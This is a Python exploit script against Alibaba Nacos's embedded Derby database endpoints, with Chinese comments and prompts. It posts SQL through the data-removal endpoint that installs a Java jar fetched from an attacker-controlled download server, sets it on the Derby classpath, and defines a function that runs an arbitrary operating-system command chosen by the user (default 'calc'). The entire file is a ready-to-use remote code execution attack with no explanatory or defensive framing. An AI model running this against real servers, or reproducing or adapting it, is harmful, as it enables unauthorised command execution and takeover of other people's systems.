exploit.py

import random
import sys
import requests
from urllib.parse import urljoin
import config


# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break


if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or target
    command = input('请输入命令，默认：calc：') or command
    exploit(target=target, command=command,service=service)